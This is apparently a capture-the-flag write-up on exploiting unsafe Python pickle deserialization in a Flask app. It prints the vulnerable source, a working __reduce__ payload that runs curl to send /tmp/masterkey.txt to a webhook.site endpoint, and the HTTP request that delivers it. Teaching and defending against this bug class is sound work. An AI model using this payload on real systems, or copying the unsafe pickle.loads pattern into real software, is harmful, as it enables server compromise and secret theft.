Pickle RCE: Exfiltrating Secrets via Unsafe Deserialization
Overview
This writeup covers a Remote Code Execution (RCE) vulnerability caused by unsafe deserialization using Python’s pickle
module.
The vulnerable web application was featured in AppSecMaster Challenge #82b24fdf, where the goal is to extract a sensitive file (/tmp/masterkey.txt
) from the server.
Vulnerability Summary
The Flask app allows importing base64-encoded state files via /import
, which it deserializes using pickle.loads()
directly on user input — opening the door to arbitrary code execution if an attacker crafts a malicious payload.
Understanding the Bug
This part of the code is the root cause:
1
2
decoded_data = base64.b64decode(base64_data)
program_state = pickle.loads(decoded_data)
Here, the server blindly trusts user-supplied input and loads it via pickle
, a module known to allow arbitrary code execution when misused.
Challenge Source Code
The full vulnerable Flask application:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, render_template, request, jsonify
import pickle
import os
import base64
app = Flask(__name__)
state_file = 'program_state.pkl'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/save', methods=['POST'])
def save_state():
try:
program_state = request.json
with open(state_file, 'wb') as f:
pickle.dump(program_state, f)
return jsonify({"message": "State saved successfully!"}), 200
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route('/resume', methods=['GET'])
def resume_state():
try:
if not os.path.exists(state_file):
return jsonify({"error": "No saved state found!"}), 404
with open(state_file, 'rb') as f:
program_state = pickle.load(f)
return jsonify(program_state), 200
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route('/import', methods=['POST'])
def import_statefile():
try:
base64_data = request.json.get('statefile')
if not base64_data:
return jsonify({"error": "No statefile data provided!"}), 400
decoded_data = base64.b64decode(base64_data)
program_state = pickle.loads(decoded_data)
with open(state_file, 'wb') as f:
pickle.dump(program_state, f)
return jsonify({"message": "State imported and saved successfully!"}), 200
except Exception as e:
return jsonify({"error": str(e)}), 500
if __name__ == '__main__':
app.run()
Exploitation Strategy
To exploit this, we define a custom class with a __reduce__()
method that returns a callable and arguments to be executed when pickle.loads()
is called.
I initially tried using:
1
return (os.system, ("curl ...",))
But encountered the following error:
1
{"error": "No module named 'nt'"}
This happened because I built the payload on Windows, and os.system
resolved internally to nt.system
, which doesn’t exist on Linux.
The Final Payload
To solve the compatibility issue and reliably execute the command on Linux, I used subprocess.getoutput()
instead.
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64
import subprocess
class RCE:
def __reduce__(self):
return (
subprocess.getoutput,
("curl 'https://webhook.site/your_link/leak?data='$(cat /tmp/masterkey.txt)",)
)
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
This payload reads the contents of /tmp/masterkey.txt
and sends it to my webhook.site endpoint via a GET request.
📤 Sending the Payload
1
2
3
4
5
6
7
POST /import HTTP/1.1
Host: target-website.com
Content-Type: application/json
{
"statefile": "<base64_encoded_payload>"
}
Once the payload is deserialized by the server, it triggers the HTTP request with the leaked file content.
Key Lessons
Never deserialize untrusted input with
pickle.loads()
. Use safe alternatives likejson.loads()
unless you fully control the input.RCE via deserialization is one of the most dangerous classes of bugs and often leads to full server compromise or data leaks.
Cross-platform payload compatibility matters. Avoid generating payloads on Windows when the target is Linux.
thanks for reading. If you enjoyed this write-up, feel free to follow me on Twitter